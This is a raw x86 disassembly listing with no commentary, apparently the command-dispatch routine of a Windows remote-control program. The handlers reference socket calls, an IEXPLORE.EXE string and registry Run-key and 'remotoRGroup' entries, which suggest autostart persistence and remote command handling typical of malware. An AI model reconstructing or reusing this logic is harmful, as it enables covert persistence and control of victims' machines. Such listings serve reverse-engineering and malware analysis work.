push 0x100ded95
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110048
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038a11
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038a21
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110050
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10038a86
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10038a52
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
call fcn.10043c23
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038a81
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110051
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10038b2c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10038ab2
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10038aed
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.IEXPLORE.EXE
push 0
push 0
push 0
push 5
mov ebx, 0x18
mov eax, 0x100c3070
call fcn.100b9790
add esp, 0x40
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038b27
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110053
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10038c59
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10038b58
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10038b82
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
mov eax, 0x100d5278
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110053
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038bb3
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038bc3
push ebx
call fcn.100b8c45
add esp, 4
call fcn.1003aba1
push dword [ebp - 0x40]
push str.110053
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10038bf3
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038c19
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038c4a
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110052
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10038cfe
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110052
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038cbe
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038cef
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110054
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039442
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10038d2a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10038d65
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038d8b
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10038dad
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10038da9
imul eax, dword [ebx]
jmp 0x10038d9e
mov ecx, eax
test ecx, ecx
je 0x10038dcc
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10038dc5
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10038db3
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jle 0x100393c7
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10038e15
push 0x4ff5
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dedc0
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10038fef
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10038e60
push 0x5045
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x10038e7d
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 2
cmp eax, ecx
jl 0x10038ebb
push 0x5065
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x50], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x10038ef6
mov eax, 0x100d520e
push eax
push 0x80000301
push 0
push dword [ebp - 0x48]
push 2
mov ebx, 0x6a8
call fcn.100bfe90
add esp, 0x1c
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10038f2c
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x54], 0
je 0x10038f94
push reloc.WS2_32.dll_connect
push 0
push 0x100dedf4
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038f7f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038f8f
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10038fea
push reloc.WS2_32.dll_connect
push 0
push 0x100dedfd
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10038fda
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10038fea
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x100393c2
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10039017
push 0x5157
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dee06
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100393c2
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10039062
push 0x5195
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dee0b
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100390d8
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x100390ad
push 0x51c4
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, 0x100dee14
push eax
mov ebx, dword [ebp - 0x44]
mov ebx, dword [ebx]
test ebx, ebx
je 0x100390cd
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov ebx, dword [ebp - 0x44]
mov dword [ebx], eax
jmp 0x100391c4
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10039100
push 0x51ff
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push 0x100dee17
mov ebx, dword [ebp - 0x48]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039176
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1003914b
push 0x522e
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, 0x100dee20
push eax
mov ebx, dword [ebp - 0x44]
mov ebx, dword [ebx]
test ebx, ebx
je 0x1003916b
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov ebx, dword [ebp - 0x44]
mov dword [ebx], eax
jmp 0x100391c4
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1003919e
push 0x5258
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, 0x100d53c6
push eax
mov ebx, dword [ebp - 0x44]
mov ebx, dword [ebx]
test ebx, ebx
je 0x100391be
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov ebx, dword [ebp - 0x44]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x100391ec
push 0x52b9
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x10039209
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 2
cmp eax, ecx
jl 0x10039247
push 0x52d9
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 3
cmp eax, ecx
jl 0x10039294
push 0x52d9
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x54], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebx]
test eax, eax
jne 0x100392b7
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x100392ce
mov eax, 0x100d520e
push eax
push 0x80000301
push 0
push dword [ebp - 0x48]
push 3
mov ebx, 0x6a4
call fcn.100b9d90
add esp, 0x28
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10039304
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x1003936c
push reloc.WS2_32.dll_connect
push 0
push 0x100dee23
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10039357
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10039367
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x100393c2
push reloc.WS2_32.dll_connect
push 0
push 0x100dee2c
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100393b2
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100393c2
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003943d
call fcn.10043c79
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100393e2
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10039408
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110054
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1003942d
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1003943d
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110056
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100396a9
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003947a
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a0
call fcn.100bb760
add esp, 0x1c
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100394b5
mov eax, 0x100d5289
push eax
push 3
mov ebx, 0x19c
call fcn.100ba350
add esp, 0x28
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ecx
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100394e4
push ebx
call fcn.100b8c45
add esp, 4
mov ecx, dword [ebp - 0x48]
cmp ecx, reloc.WS2_32.dll_connect
je 0x10039506
push 0x54a2
push 0x403116f
push 5
call fcn.100b8c4b
add esp, 0xc
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1003951d
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x100deb31
push dword [ebp - 0x20]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100396a4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003954d
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x194
call fcn.100ba1f0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d58ef]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003959e
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a4
call fcn.100bb790
add esp, 0x1c
mov dword [ebp - 0x58], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x100395cd
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x100395f9
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x5c]
push eax
call fcn.10044d75
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1003961e
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x10039634
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10039660
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x64]
push eax
mov eax, str.110056
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x10039691
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x100396a4
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110059
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100396eb
push 0x80000301
push 0
push dword [0x100e6ab5]
push 1
mov ebx, 0x18
mov eax, 0x100c3ab0
call fcn.100b9790
add esp, 0x10
jmp 0x1003a351
push str.110060
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039709
jmp 0x1003a351
push str.110033
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039788
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.110033
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10039779
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.110062
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039a22
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100397b4
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x60], 0
push 0
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov eax, 0x100d520e
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
mov eax, 0x100dee51
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
lea eax, [ebp - 0x44]
push eax
call fcn.10010982
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100398cf
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x100398e2
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x100398f5
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10039908
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x1003991b
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1003992e
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10039941
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10039954
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10039967
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10039977
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10039987
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x1003999d
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x174
call fcn.100ba730
add esp, 0x10
mov dword [ebp - 0x80], eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x100399c9
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x100399df
mov eax, 0x100d520e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotoRGroup_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.100b9d90
add esp, 0x28
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x10039a1d
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.110076
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039cf4
mov ebx, dword [0x100e6ab9]
call fcn.100027cb
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x10039cec
mov ebx, dword [0x100e6ab9]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10039a87
push 0x593c
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10039aa4
push 0x593c
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10039ac1
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10039b06
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x10039ce4
mov ebx, dword [0x100e6ab9]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10039b3a
push 0x5993
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10039b57
push 0x5993
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x44], ebx
push 1
push 1
call fcn.100458eb
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10039b86
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10039bac
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x44]
cmp dword [ebx], eax
je 0x10039ce4
call fcn.1003aba1
mov ebx, dword [0x100e6ab9]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10039be9
push 0x5a49
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10039c06
push 0x5a49
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x44], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push str.110076
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10039c5c
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x10039c6f
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10039c98
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
lea eax, [ebp - 0x50]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10039cd5
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x10039cec
pop eax
pop ebx
pop ecx
jmp 0x10039a4f
add esp, 0xc
jmp 0x1003a351
push str.110078
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10039f1c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10039d20
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dee61
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10039d64
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10039e8d
call fcn.10046801
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10039d89
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10039daf
push ebx
call fcn.100b8c45
add esp, 4
